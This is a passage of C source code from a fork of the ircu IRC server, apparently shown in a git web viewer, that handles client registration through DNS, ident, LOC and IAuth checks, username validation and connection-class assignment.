ircu2.10.12 pk910 fork
[ircu2.10.12-pk.git] / ircd / s_auth.c
1 /************************************************************************
2  *   IRC - Internet Relay Chat, src/s_auth.c
3  *   Copyright (C) 1992 Darren Reed
4  *
5  *   This program is free software; you can redistribute it and/or modify
6  *   it under the terms of the GNU General Public License as published by
7  *   the Free Software Foundation; either version 1, or (at your option)
8  *   any later version.
9  *
10  *   This program is distributed in the hope that it will be useful,
11  *   but WITHOUT ANY WARRANTY; without even the implied warranty of
12  *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
13  *   GNU General Public License for more details.
14  *
15  *   You should have received a copy of the GNU General Public License
16  *   along with this program; if not, write to the Free Software
17  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
18  *
19  * Changes:
20  *   July 6, 1999 - Rewrote most of the code here. When a client connects
21  *     to the server and passes initial socket validation checks, it
22  *     is owned by this module (auth) which returns it to the rest of the
23  *     server when dns and auth queries are finished. Until the client is
24  *     released, the server does not know it exists and does not process
25  *     any messages from it.
26  *     --Bleep  Thomas Helvey <tomh@inxpress.net>
27  *
28  *  December 26, 2005 - Rewrite the flag handling and integrate that with
29  *     an IRCnet-style IAuth protocol.
30  *     -- Michael Poole
31  */
32 /** @file
33  * @brief Implementation of DNS and ident lookups.
34  * @version $Id: s_auth.c 1843 2007-11-17 14:12:37Z entrope $
35  */
36 #include "config.h"
37
38 #include "s_auth.h"
39 #include "class.h"
40 #include "client.h"
41 #include "hash.h"
42 #include "IPcheck.h"
43 #include "ircd.h"
44 #include "ircd_alloc.h"
45 #include "ircd_chattr.h"
46 #include "ircd_events.h"
47 #include "ircd_features.h"
48 #include "ircd_log.h"
49 #include "ircd_osdep.h"
50 #include "ircd_reply.h"
51 #include "ircd_snprintf.h"
52 #include "ircd_string.h"
53 #include "list.h"
54 #include "msg.h"        /* for MAXPARA */
55 #include "numeric.h"
56 #include "numnicks.h"
57 #include "querycmds.h"
58 #include "random.h"
59 #include "res.h"
60 #include "s_bsd.h"
61 #include "s_conf.h"
62 #include "s_debug.h"
63 #include "s_misc.h"
64 #include "s_user.h"
65 #include "send.h"
66 #include "sys.h"
67
68 #include <errno.h>
69 #include <string.h>
70 #include <stdio.h>
71 #include <stdlib.h>
72 #include <unistd.h>
73 #include <fcntl.h>
74 #include <sys/socket.h>
75 #include <sys/ioctl.h>
76
77 /** Pending operations during registration. */
78 enum AuthRequestFlag {
79     AR_AUTH_PENDING,    /**< ident connecting or waiting for response */
80     AR_DNS_PENDING,     /**< dns request sent, waiting for response */
81     AR_CAP_PENDING,     /**< in middle of CAP negotiations */
82     AR_LOC_PENDING,     /**< LOC reply is awaited */
83     AR_NEEDS_PONG,      /**< user has not PONGed */
84     AR_NEEDS_USER,      /**< user must send USER command */
85     AR_NEEDS_NICK,      /**< user must send NICK command */
86     AR_LAST_SCAN = AR_NEEDS_NICK, /**< maximum flag to scan through */
87     AR_IAUTH_PENDING,   /**< iauth request sent, waiting for response */
88     AR_IAUTH_HURRY,     /**< we told iauth to hurry up */
89     AR_IAUTH_USERNAME,  /**< iauth sent a username (preferred or forced) */
90     AR_IAUTH_FUSERNAME, /**< iauth sent a forced username */
91     AR_PASSWORD_CHECKED, /**< client password already checked */
92     AR_LOC_SENT,        /**< LOC query already sent. */
93     AR_LOC_FORCE,       /**< Force kill if LOC failed. */
94     AR_NUM_FLAGS
95 };
96
97 DECLARE_FLAGSET(AuthRequestFlags, AR_NUM_FLAGS);
98
99 /** Stores registration state of a client. */
100 struct AuthRequest {
101   struct AuthRequest* next;       /**< linked list node ptr */
102   struct AuthRequest* prev;       /**< linked list node ptr */
103   struct Client*      client;     /**< pointer to client struct for request */
104   struct irc_sockaddr local;      /**< local endpoint address */
105   struct irc_in_addr  original;   /**< original client IP address */
106   struct Socket       socket;     /**< socket descriptor for auth queries */
107   struct Timer        timeout;    /**< timeout timer for ident and dns queries */
108   struct AuthRequestFlags flags;  /**< current state of request */
109   unsigned int        cookie;     /**< cookie the user must PONG */
110   unsigned short      port;       /**< client's remote port number */
111   unsigned int        numeric;    /**< unregistered client numeric */
112   char                loc_user[ACCOUNTLEN];
113   char                loc_pass[PASSWDLEN];
114 };
115
116 /** Array of message text (with length) pairs for AUTH status
117  * messages.  Indexed using #ReportType.
118  */
119 static struct {
120   const char*  message;
121   unsigned int length;
122 } HeaderMessages [] = {
123 #define MSG(STR) { STR, sizeof(STR) - 1 }
124   MSG("NOTICE AUTH :*** Looking up your hostname\r\n"),
125   MSG("NOTICE AUTH :*** Found your hostname\r\n"),
126   MSG("NOTICE AUTH :*** Couldn't look up your hostname\r\n"),
127   MSG("NOTICE AUTH :*** Checking Ident\r\n"),
128   MSG("NOTICE AUTH :*** Got ident response\r\n"),
129   MSG("NOTICE AUTH :*** No ident response\r\n"),
130   MSG("NOTICE AUTH :*** \r\n"),
131   MSG("NOTICE AUTH :*** Your forward and reverse DNS do not match, "
132     "ignoring hostname.\r\n"),
133   MSG("NOTICE AUTH :*** Invalid hostname\r\n"),
134   MSG("NOTICE AUTH :*** Checking login\r\n"),
135   MSG("NOTICE AUTH :*** Login rejected\r\n"),
136   MSG("NOTICE AUTH :*** Login accepted\r\n"),
137 #undef MSG
138 };
139
140 /** Enum used to index messages in the HeaderMessages[] array. */
141 typedef enum {
142   REPORT_DO_DNS,
143   REPORT_FIN_DNS,
144   REPORT_FAIL_DNS,
145   REPORT_DO_ID,
146   REPORT_FIN_ID,
147   REPORT_FAIL_ID,
148   REPORT_FAIL_IAUTH,
149   REPORT_IP_MISMATCH,
150   REPORT_INVAL_DNS,
151   REPORT_DO_LOC,
152   REPORT_FAIL_LOC,
153   REPORT_DONE_LOC
154 } ReportType;
155
156 /** Sends response \a r (from #ReportType) to client \a c. */
157 #define sendheader(c, r) \
158    ssl_send(cli_fd(c), cli_socket(c).ssl, HeaderMessages[(r)].message, HeaderMessages[(r)].length)
159
160 /** Enumeration of IAuth connection flags. */
161 enum IAuthFlag
162 {
163   IAUTH_BLOCKED,                        /**< socket buffer full */
164   IAUTH_CLOSING,                        /**< candidate to be disposed */
165   /* The following flags are controlled by iauth's "O" options command. */
166   IAUTH_ADDLINFO,                       /**< Send additional info
167                                          * (password and username). */
168   IAUTH_FIRST_OPTION = IAUTH_ADDLINFO,  /**< First flag that is a policy option. */
169   IAUTH_REQUIRED,                       /**< IAuth completion required for registration. */
170   IAUTH_TIMEOUT,                        /**< Refuse new connections if IAuth is behind. */
171   IAUTH_EXTRAWAIT,                      /**< Give IAuth extra time to answer. */
172   IAUTH_UNDERNET,                       /**< Enable Undernet extensions. */
173   IAUTH_LAST_FLAG                       /**< total number of flags */
174 };
175 /** Declare a bitset structure indexed by IAuthFlag. */
176 DECLARE_FLAGSET(IAuthFlags, IAUTH_LAST_FLAG);
177
178 /** Describes state of an IAuth connection. */
179 struct IAuth {
180   struct MsgQ i_sendQ;                  /**< messages queued to send */
181   struct Socket i_socket;               /**< main socket to iauth */
182   struct Socket i_stderr;               /**< error socket for iauth */
183   struct IAuthFlags i_flags;            /**< connection state/status/flags */
184   uint64_t i_recvB;                     /**< bytes received */
185   uint64_t i_sendB;                     /**< bytes sent */
186   time_t started;                       /**< time that this instance was started */
187   unsigned int i_recvM;                 /**< messages received */
188   unsigned int i_sendM;                 /**< messages sent */
189   unsigned int i_count;                 /**< characters used in i_buffer */
190   unsigned int i_errcount;              /**< characters used in i_errbuf */
191   int i_debug;                          /**< debug level */
192   char i_buffer[BUFSIZE+1];             /**< partial unprocessed line from server */
193   char i_errbuf[BUFSIZE+1];             /**< partial unprocessed error line */
194   char *i_version;                      /**< iauth version string */
195   struct SLink *i_config;               /**< configuration string list */
196   struct SLink *i_stats;                /**< statistics string list */
197   char **i_argv;                        /**< argument list */
198 };
199
200 /** Return whether flag \a flag is set on \a iauth. */
201 #define IAuthHas(iauth, flag) ((iauth) && FlagHas(&(iauth)->i_flags, flag))
202 /** Set flag \a flag on \a iauth. */
203 #define IAuthSet(iauth, flag) FlagSet(&(iauth)->i_flags, flag)
204 /** Clear flag \a flag from \a iauth. */
205 #define IAuthClr(iauth, flag) FlagClr(&(iauth)->i_flags, flag)
206 /** Get connected flag for \a iauth. */
207 #define i_GetConnected(iauth) ((iauth) && s_fd(i_socket(iauth)) > -1)
208
209 /** Return socket event generator for \a iauth. */
210 #define i_socket(iauth) (&(iauth)->i_socket)
211 /** Return stderr socket for \a iauth. */
212 #define i_stderr(iauth) (&(iauth)->i_stderr)
213 /** Return outbound message queue for \a iauth. */
214 #define i_sendQ(iauth) (&(iauth)->i_sendQ)
215 /** Return debug level for \a iauth. */
216 #define i_debug(iauth) ((iauth)->i_debug)
217
218 /** Active instance of IAuth. */
219 static struct IAuth *iauth;
220 /** Freelist of AuthRequest structures. */
221 static struct AuthRequest *auth_freelist;
222 /** Set to 1 if iauth is required to proceed a client, otherwise 0. */
223 static int iauth_required;
224
225 /** Array of unregistered clients indexed by numeric. */
226 static struct AuthRequest *uclient_list[MAXCONNECTIONS];
227
228 static void iauth_sock_callback(struct Event *ev);
229 static void iauth_stderr_callback(struct Event *ev);
230 static int sendto_iauth(struct Client *cptr, const char *format, ...);
231 static int preregister_user(struct Client *cptr, signed int stop);
232 typedef int (*iauth_cmd_handler)(struct IAuth *iauth, struct Client *cli,
233                                  int parc, char **params);
234 static void iauth_disconnect(struct IAuth *iauth);
235 int iauth_do_spawn(struct IAuth *iauth, int automatic);
236
237 /** Register a new unregistered client numeric.
238  * This numeric is totally independent from the numnicks in numnicks.c.
239  * Don't mix them up!
240  * This numeric is only valid while the user is in the unregistered state.
241  */
242 static int auth_set_numnick(struct AuthRequest *auth) {
243   static unsigned int last_uclient = 0;
244   unsigned int count = 0;
245
246   while(uclient_list[last_uclient]) {
247     ++count;
248     if(count == MAXCONNECTIONS) {
249       assert(count < MAXCONNECTIONS && "More pending client registrations than connections, abort!");
250       return 0;
251     }
252     ++last_uclient;
253     if(last_uclient == MAXCONNECTIONS) last_uclient = 0;
254   }
255   uclient_list[last_uclient] = auth;
256   auth->numeric = last_uclient;
257   if(++last_uclient == MAXCONNECTIONS) last_uclient = 0;
258   return 1;
259 }
260
261 /** Unregisters an unregistered client numeric.
262  * See auth_set_numnick for information.
263  */
264 static void auth_unset_numnick(struct AuthRequest *auth) {
265   uclient_list[auth->numeric] = NULL;
266   auth->numeric = 0;
267 }
268
269 /** Finds an AuthRequest related to an unregistered client numeric.
270  * See auth_set_numnick for information.
271  */
272 static struct AuthRequest *auth_find_numnick(const char *numnick) {
273   unsigned int num;
274
275   num = base64toint(numnick);
276   if(num >= MAXCONNECTIONS) return NULL;
277   return uclient_list[num];
278 }
279
280 /** Sends a LOC query.
281  * We check for FEAT_LOC_ENABLE, search for the nick and discard the query
282  * if one check fails.
283  */
284 static signed int auth_loc_send(struct AuthRequest *auth) {
285     struct Client *acptr;
286     char buf[4];
287     const char *host, *ip, *ident, *format;
288
289     if(!auth) return 1;
290     if(!FlagHas(&auth->flags, AR_LOC_PENDING) ||
291         FlagHas(&auth->flags, AR_LOC_SENT) ||
292         FlagHas(&auth->flags, AR_DNS_PENDING) ||
293         FlagHas(&auth->flags, AR_NEEDS_USER) ||
294         FlagHas(&auth->flags, AR_AUTH_PENDING)) return 1;
295
296     inttobase64(buf, auth->numeric, 3);
297     buf[3] = 0;
298
299     host = cli_sockhost(auth->client);
300     if(!host || !*host) host = NULL;
301     ip = cli_sock_ip(auth->client);
302     if(IsIdented(auth->client))
303         ident = cli_username(auth->client);
304     else
305         ident = cli_user(auth->client)->username;
306
307     if(!ident || !*ident) ident = "unknown";
308
309     if(feature_str(FEAT_LOC_TARGET) && (acptr = FindUser(feature_str(FEAT_LOC_TARGET))) && IsNetServ(acptr) && IsService(cli_user(acptr)->server)) {
310         if(IsIdented(auth->client) && host) format = "%C LQ !%s%s %s %s %s %s :%s";
311         else if(IsIdented(auth->client)) format = "%C LQ !%s%s %s %s%s %s :%s";
312         else if(host) format = "%C LQ !%s%s %s %s %s ~%s :%s";
313         else format = "%C LQ !%s%s %s %s%s ~%s :%s";
314
315         sendcmdto_one(&me, CMD_RELAY, acptr, format, acptr,
316                       cli_yxx(&me), buf, auth->loc_user, ip, host?host:"",
317                       ident, auth->loc_pass);
318         FlagSet(&auth->flags, AR_LOC_SENT);
319     }
320     else {
321         sendheader(auth->client, REPORT_FAIL_LOC);
322         FlagClr(&auth->flags, AR_LOC_PENDING);
323         if(FlagHas(&auth->flags, AR_LOC_FORCE)) {
324             exit_client(auth->client, auth->client, &me, "LOC Failed");
325             return 0;
326         }
327     }
328     return 1;
329 }
330
331 /** Set username for user associated with \a auth.
332  * @param[in] auth Client authorization request to work on.
333  * @return Zero if client is kept, CPTR_KILLED if client rejected.
334  */
335 static int auth_set_username(struct AuthRequest *auth)
336 {
337   struct Client *sptr = auth->client;
338   struct User   *user = cli_user(sptr);
339   char *d;
340   char *s;
341   int   rlen = USERLEN;
342   int   killreason;
343   char  ch;
344   char  last;
345   unsigned int i;
346
347   if (FlagHas(&auth->flags, AR_IAUTH_USERNAME))
348   {
349       ircd_strncpy(cli_user(sptr)->username, cli_username(sptr), USERLEN);
350   }
351   else
352   {
353     /* Copy username from source to destination.  Since they may be the
354      * same, and we may prefix with a '~', use a buffer character (ch)
355      * to hold the next character to copy.
356      */
357     s = IsIdented(sptr) ? cli_username(sptr) : user->username;
358     last = *s++;
359     d = user->username;
360     if (HasFlag(sptr, FLAG_DOID) && !IsIdented(sptr))
361     {
362       *d++ = '~';
363       --rlen;
364     }
365     while (last && !IsCntrl(last) && rlen--)
366     {
367       ch = *s++;
368       *d++ = IsUserChar(last) ? last : '_';
369       last = (ch != '~') ? ch : '_';
370     }
371     *d = 0;
372   }
373
374   /* If username is empty or just ~, reject. */
375   if ((user->username[0] == '\0')
376       || ((user->username[0] == '~') && (user->username[1] == '\0')))
377     return exit_client(sptr, sptr, &me, "USER: Bogus userid.");
378
379   /* Check for K- or G-line. */
380   killreason = find_kill(sptr);
381   if (killreason) {
382     ServerStats->is_ref++;
383     return exit_client(sptr, sptr, &me,
384                        (killreason == -1 ? "K-lined" : "G-lined"));
385   }
386
387   if (!FlagHas(&auth->flags, AR_IAUTH_FUSERNAME))
388 #if 1
389   {
390     for(i = 0; user->username[i]; ++i) {
391       if(user->username[i] > 126 || user->username[i] < 1) goto badid;
392     }
393   }
394 #else
395   {
396     /* Check for mixed case usernames, meaning probably hacked.  Jon2 3-94
397      * Explanations of rules moved to where it is checked     Entrope 2-06
398      */
399     s = d = user->username + (user->username[0] == '~');
400     for (last = '\0';
401          (ch = *d++) != '\0';
402          pos++, last = ch)
403     {
404       if (IsLower(ch))
405       {
406         lower++;
407       }
408       else if (IsUpper(ch))
409       {
410         upper++;
411         /* Accept caps as leading if we haven't seen lower case or digits yet. */
412         if ((leadcaps || pos == 0) && !lower && !digits)
413           leadcaps++;
414       }
415       else if (IsDigit(ch))
416       {
417         digits++;
418         if (pos == 0 || !IsDigit(last))
419         {
420           digitgroups++;
421           /* If more than two groups of digits, reject. */
422           if (digitgroups > 2)
423             goto badid;
424         }
425       }
426       else if (ch == '-' || ch == '_' || ch == '.')
427       {
428         other++;
429         /* If -_. exist at start, consecutively, or more than twice, reject. */
430         if (pos == 0 || last == '-' || last == '_' || last == '.' || other > 2)
431           goto badid;
432       }
433       else /* All other punctuation is rejected. */
434         goto badid;
435     }
436
437     /* If mixed case, first must be capital, but no more than three;
438      * but if three capitals, they must all be leading. */
439     if (lower && upper && (!leadcaps || leadcaps > 3 ||
440                            (upper > 2 && upper > leadcaps)))
441       goto badid;
442     /* If two different groups of digits, one must be either at the
443      * start or end. */
444     if (digitgroups == 2 && !(IsDigit(s[0]) || IsDigit(ch)))
445       goto badid;
446     /* Must have at least one letter. */
447     if (!lower && !upper)
448       goto badid;
449     /* Final character must not be punctuation. */
450     if (!IsAlnum(last))
451       goto badid;
452   }
453 #endif
454
455   return 0;
456
457 badid:
458   /* If we confirmed their username, and it is what they claimed,
459    * accept it. */
460   if (IsIdented(sptr) && !strcmp(cli_username(sptr), user->username))
461     return 0;
462
463   ServerStats->is_ref++;
464   send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
465              ":Your username is invalid.");
466   send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
467              ":Connect with your real username, in lowercase.");
468   send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
469              ":If your mail address were foo@bar.com, your username "
470              "would be foo.");
471   return exit_client(sptr, sptr, &me, "USER: Bad username");
472 }
473
474 /** Check whether an authorization request is complete.
475  * This means that no flags from 0 to #AR_LAST_SCAN are set on \a auth.
476  * If #AR_IAUTH_PENDING is set, optionally go into "hurry" state.  If
477  * 0 through #AR_LAST_SCAN and #AR_IAUTH_PENDING are all clear,
478  * destroy \a auth, clear the password, set the username, and register
479  * the client.
480  * @param[in] auth Authorization request to check.
481  * @return Zero if client is kept, CPTR_KILLED if client rejected.
482  */
483 static int check_auth_finished(struct AuthRequest *auth)
484 {
485   enum AuthRequestFlag flag;
486   int res;
487
488   /* Check whether to send LOC query. */
489   if(FlagHas(&auth->flags, AR_LOC_PENDING) &&
490      !FlagHas(&auth->flags, AR_LOC_SENT) &&
491      !FlagHas(&auth->flags, AR_DNS_PENDING) &&
492      !FlagHas(&auth->flags, AR_NEEDS_USER) &&
493      !FlagHas(&auth->flags, AR_AUTH_PENDING)) {
494     if(!auth_loc_send(auth)) return CPTR_KILLED;
495     return 0;
496   }
497
498   /* Check non-iauth registration blocking flags. */
499   for (flag = 0; flag <= AR_LAST_SCAN; ++flag)
500     if (FlagHas(&auth->flags, flag))
501     {
502       Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
503              cli_fd(auth->client), flag));
504       return 0;
505     }
506
507   /* If appropriate, do preliminary assignment to connection class. */
508   if (IsUserPort(auth->client)
509       && !FlagHas(&auth->flags, AR_IAUTH_HURRY)
510       && preregister_user(auth->client, 1))
511     return CPTR_KILLED;
512
513   /* Check if iauth is done. */
514   if (FlagHas(&auth->flags, AR_IAUTH_PENDING))
515   {
516     /* Switch auth request to hurry-up state. */
517     if (!FlagHas(&auth->flags, AR_IAUTH_HURRY))
518     {
519       /* Set "hurry" flag in auth request. */
520       FlagSet(&auth->flags, AR_IAUTH_HURRY);
521
522       /* If iauth wants it, send notification. */
523       if (IAuthHas(iauth, IAUTH_UNDERNET))
524         sendto_iauth(auth->client, "H %s", get_client_class(auth->client));
525
526       /* If iauth wants it, give client more time. */
527       if (IAuthHas(iauth, IAUTH_EXTRAWAIT))
528         cli_firsttime(auth->client) = CurrentTime;
529     }
530
531     Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
532            cli_fd(auth->client), AR_IAUTH_PENDING));
533     return 0;
534   }
535   else
536     FlagSet(&auth->flags, AR_IAUTH_HURRY);
537
538   /* Class assignment is done after IAUTH is done. */
539   if (IsUserPort(auth->client)) {
540     if(preregister_user(auth->client, 0))
541       return CPTR_KILLED;
542
543     if(!FlagHas(&auth->flags, AR_PASSWORD_CHECKED)) {
544       struct ConfItem *aconf;
545       aconf = cli_confs(auth->client)->value.aconf;
546       if (aconf
547           && !EmptyString(aconf->passwd)
548           && strcmp(cli_passwd(auth->client), aconf->passwd))
549       {
550         ServerStats->is_ref++;
551         send_reply(auth->client, ERR_PASSWDMISMATCH);
552         return exit_client(auth->client, auth->client, &me, "Bad Password");
553       }
554       FlagSet(&auth->flags, AR_PASSWORD_CHECKED);
555     }
556   }
557
558   if (IsUserPort(auth->client))
559   {
560     memset(cli_passwd(auth->client), 0, sizeof(cli_passwd(auth->client)));
561     res = auth_set_username(auth);
562     if (res == 0)
563       res = register_user(auth->client, auth->client);
564   }
565   else
566     res = 0;
567   if (res == 0)
568     destroy_auth_request(auth);
569   return res;
570 }
571
572 /** Verify that a hostname is valid, i.e., only contains characters
573  * valid for a hostname and that a hostname is not too long.
574  * @param host Hostname to check.
575  * @param maxlen Maximum length of hostname, not including NUL terminator.
576  * @return Non-zero if the hostname is valid.
577  */
578 static int
579 auth_verify_hostname(const char *host, int maxlen)
580 {
581   int i;
582
583   /* Walk through the host name */
584   for (i = 0; host[i]; i++)
585     /* If it's not a hostname character or if it's too long, return false */
586     if (!IsHostChar(host[i]) || i >= maxlen)
587       return 0;
588
589   return 1; /* it's a valid hostname */
590 }
591
592 /** Check whether a client already has a CONF_CLIENT configuration
593  * item.
594  *
595  * @return A pointer to the client's first CONF_CLIENT, or NULL if
596  *   there are none.
597  */
598 static struct ConfItem *find_conf_client(struct Client *cptr)
599 {
600   struct SLink *list;
601
602   for (list = cli_confs(cptr); list != NULL; list = list->next) {
603     struct ConfItem *aconf;
604     aconf = list->value.aconf;
605     if (aconf->status & CONF_CLIENT)
606       return aconf;
607   }
608
609   return NULL;
610 }
611
612 /** Assign a client to a connection class.
613  * @param[in] cptr Client to assign to a class.
614  * @return Zero if client is kept, CPTR_KILLED if rejected.
615  */
616 static int preregister_user(struct Client *cptr, signed int stop)
617 {
618   static time_t last_too_many1;
619   static time_t last_too_many2;
620
621   ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
622   ircd_strncpy(cli_user(cptr)->realhost, cli_sockhost(cptr), HOSTLEN);
623
624   if(find_conf_client(cptr) || stop) return 0;
625
626   switch (conf_check_client(cptr))
627   {
628   case ACR_OK:
629     break;
630   case ACR_NO_AUTHORIZATION:
631     sendto_opmask_butone(0, SNO_UNAUTH, "Unauthorized connection from %s.",
632                          get_client_name(cptr, HIDE_IP));
633     ++ServerStats->is_ref;
634     return exit_client(cptr, cptr, &me,
635                        "No Authorization - use another server");
636   case ACR_TOO_MANY_IN_CLASS:
637     sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many1,
638                                      "Too many connections in class %s for %s.",
639                                      get_client_class(cptr),
640                                      get_client_name(cptr, SHOW_IP));
641     ++ServerStats->is_ref;
642     return exit_client(cptr, cptr, &me,
643                        "Sorry, your connection class is full - try "
644                        "again later or try another server");
645   case ACR_TOO_MANY_FROM_IP:
646     sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many2,
647                                      "Too many connections from same IP for %s.",
648                                      get_client_name(cptr, SHOW_IP));
649     ++ServerStats->is_ref;
650     return exit_client(cptr, cptr, &me,
651                        "Too many connections from your host");
652   case ACR_ALREADY_AUTHORIZED:
653     /* Can this ever happen? */
654   case ACR_BAD_SOCKET:
655     ++ServerStats->is_ref;
656     IPcheck_connect_fail(cptr);
657     return exit_client(cptr, cptr, &me, "Unknown error -- Try again");
658   }
659   return 0;
660 }
661
662 /** Send the ident server a query giving "theirport , ourport". The
663  * write is only attempted *once* so it is deemed to be a fail if the
664  * entire write doesn't write all the data given.  This shouldn't be a
665  * problem since the socket should have a write buffer far greater
666  * than this message to store it in should problems arise. -avalon
667  * @param[in] auth The request to send.
668  */
669 static void send_auth_query(struct AuthRequest* auth)
670 {
671   char               authbuf[32];
672   unsigned int       count;
673
674   assert(0 != auth);
675
676   ircd_snprintf(0, authbuf, sizeof(authbuf), "%hu , %hu\r\n",
677                 auth->port, auth->local.port);
678
679   if (IO_SUCCESS != os_send_nonb(s_fd(&auth->socket), authbuf, strlen(authbuf), &count)) {
680     close(s_fd(&auth->socket));
681     socket_del(&auth->socket);
682     s_fd(&auth->socket) = -1;
683     ++ServerStats->is_abad;
684     if (IsUserPort(auth->client))
685       sendheader(auth->client, REPORT_FAIL_ID);
686     FlagClr(&auth->flags, AR_AUTH_PENDING);
687     check_auth_finished(auth);
688   }
689 }
690
691 /** Enum used to index ident reply fields in a human-readable way. */
692 enum IdentReplyFields {
693   IDENT_PORT_NUMBERS,
694   IDENT_REPLY_TYPE,
695   IDENT_OS_TYPE,
696   IDENT_INFO,
697   USERID_TOKEN_COUNT
698 };
699
700 /** Parse an ident reply line and extract the userid from it.
701  * @param[in] reply The ident reply line.
702  * @return The userid, or NULL on parse failure.
703  */
704 static char* check_ident_reply(char* reply)
705 {
706   char* token;
707   char* end;
708   char* vector[USERID_TOKEN_COUNT];
709   int count = token_vector(reply, ':', vector, USERID_TOKEN_COUNT);
710
711   if (USERID_TOKEN_COUNT != count)
712     return 0;
713   /*
714    * second token is the reply type
715    */
716   token = vector[IDENT_REPLY_TYPE];
717   if (EmptyString(token))
718     return 0;
719
720   while (IsSpace(*token))
721     ++token;
722
723   if (0 != strncmp(token, "USERID", 6))
724     return 0;
725
726   /*
727    * third token is the os type
728    */
729   token = vector[IDENT_OS_TYPE];
730   if (EmptyString(token))
731     return 0;
732   while (IsSpace(*token))
733    ++token;
734
735   /*
736    * Unless "OTHER" is specified as the operating system
737    * type, the server is expected to return the "normal"
738    * user identification of the owner of this connection.
739    * "Normal" in this context may be taken to mean a string
740    * of characters which uniquely identifies the connection
741    * owner such as a user identifier assigned by the system
742    * administrator and used by such user as a mail
743    * identifier, or as the "user" part of a user/password
744    * pair used to gain access to system resources.  When an
745    * operating system is specified (e.g., anything but
746    * "OTHER"), the user identifier is expected to be in a
747    * more or less immediately useful form - e.g., something
748    * that could be used as an argument to "finger" or as a
749    * mail address.
750    */
751   if (0 == strncmp(token, "OTHER", 5))
752     return 0;
753   /*
754    * fourth token is the username
755    */
756   token = vector[IDENT_INFO];
757   if (EmptyString(token))
758     return 0;
759   while (IsSpace(*token))
760     ++token;
761   /*
762    * look for the end of the username, terminators are '\0, @, <SPACE>, :'
763    */
764   for (end = token; *end; ++end) {
765     if (IsSpace(*end) || '@' == *end || ':' == *end)
766       break;
767   }
768   *end = '\0';
769   return token;
770 }
771
772 /** Read the reply (if any) from the ident server we connected to.  We
773  * only give it one shot, if the reply isn't good the first time fail
774  * the authentication entirely. --Bleep
775  * @param[in] auth The request to read.
776  */
777 static void read_auth_reply(struct AuthRequest* auth)
778 {
779   char*        username = 0;
780   unsigned int len;
781   /*
782    * rfc1453 sez we MUST accept 512 bytes
783    */
784   char   buf[BUFSIZE + 1];
785
786   assert(0 != auth);
787   assert(0 != auth->client);
788   assert(auth == cli_auth(auth->client));
789
790   if (IO_SUCCESS == os_recv_nonb(s_fd(&auth->socket), buf, BUFSIZE, &len)) {
791     buf[len] = '\0';
792     Debug((DEBUG_INFO, "Auth %p [%d] reply: %s", auth, cli_fd(auth->client), buf));
793     username = check_ident_reply(buf);
794     Debug((DEBUG_INFO, "Username: %s", username));
795   }
796
797   Debug((DEBUG_INFO, "Deleting auth [%d] socket %p", auth, cli_fd(auth->client)));
798   close(s_fd(&auth->socket));
799   socket_del(&auth->socket);
800   s_fd(&auth->socket) = -1;
801
802   if (EmptyString(username)) {
803     if (IsUserPort(auth->client))
804       sendheader(auth->client, REPORT_FAIL_ID);
805     ++ServerStats->is_abad;
806   } else {
807     if (IsUserPort(auth->client))
808       sendheader(auth->client, REPORT_FIN_ID);
809     ++ServerStats->is_asuc;
810     if (!FlagHas(&auth->flags, AR_IAUTH_USERNAME)) {
811       ircd_strncpy(cli_username(auth->client), username, USERLEN);
812       SetGotId(auth->client);
813     }
814     if (IAuthHas(iauth, IAUTH_UNDERNET))
815       sendto_iauth(auth->client, "u %s", username);
816   }
817
818   FlagClr(&auth->flags, AR_AUTH_PENDING);
819   if(!auth_loc_send(auth)) return;
820   check_auth_finished(auth);
821 }
822
823 /** Handle socket I/O activity.
824  * @param[in] ev A socket event whos associated data is the active
825  *   struct AuthRequest.
826  */
827 static void auth_sock_callback(struct Event* ev)
828 {
829   struct AuthRequest* auth;
830
831   assert(0 != ev_socket(ev));
832   assert(0 != s_data(ev_socket(ev)));
833
834   auth = (struct AuthRequest*) s_data(ev_socket(ev));
835
836   switch (ev_type(ev)) {
837   case ET_DESTROY: /* being destroyed */
838     break;
839
840   case ET_CONNECT: /* socket connection completed */
841     Debug((DEBUG_INFO, "Connection completed for auth %p [%d]; sending query",
842            auth, cli_fd(auth->client)));
843     socket_state(&auth->socket, SS_CONNECTED);
844     send_auth_query(auth);
845     break;
846
847   case ET_READ: /* socket is readable */
848   case ET_EOF: /* end of file on socket */
849   case ET_ERROR: /* error on socket */
850     Debug((DEBUG_INFO, "Auth socket %p [%p] readable", auth, ev_socket(ev)));
851     read_auth_reply(auth);
852     break;
853
854   default:
855     assert(0 && "Unrecognized event in auth_socket_callback().");
856     break;
857   }
858 }
859
860 /** Stop an auth request completely.
861  * @param[in] auth The struct AuthRequest to cancel.
862  */
863 void destroy_auth_request(struct AuthRequest* auth)
864 {
865   Debug((DEBUG_INFO, "Deleting auth request for %p", auth->client));
866
867   /* Unset numeric nick. */
868   auth_unset_numnick(auth);
869
870   if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
871     delete_resolver_queries(auth);
872   }
873
874   if (-1 < s_fd(&auth->socket)) {
875     close(s_fd(&auth->socket));
876     socket_del(&auth->socket);
877     s_fd(&auth->socket) = -1;
878   }
879
880   if (t_active(&auth->timeout))
881     timer_del(&auth->timeout);
882
883   cli_auth(auth->client) = NULL;
884   auth->next = auth_freelist;
885   auth_freelist = auth;
886 }
887
888 /** Handle a 'ping' (authorization) timeout for a client.
889  * @param[in] cptr The client whose session authorization has timed out.
890  * @return Zero if client is kept, CPTR_KILLED if client rejected.
891  */
892 int auth_ping_timeout(struct Client *cptr)
893 {
894   struct AuthRequest *auth;
895   enum AuthRequestFlag flag;
896   signed int ret;
897
898   auth = cli_auth(cptr);
899
900   /* Check whether the auth request is gone (more likely, it never
901    * existed, as in an outbound server connection). */
902   if (!auth)
903       return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
904
905   /* If the loc-query is still pending, we stop the query and
906    * register the user if possible.
907    */
908   if (FlagHas(&auth->flags, AR_LOC_PENDING)) {
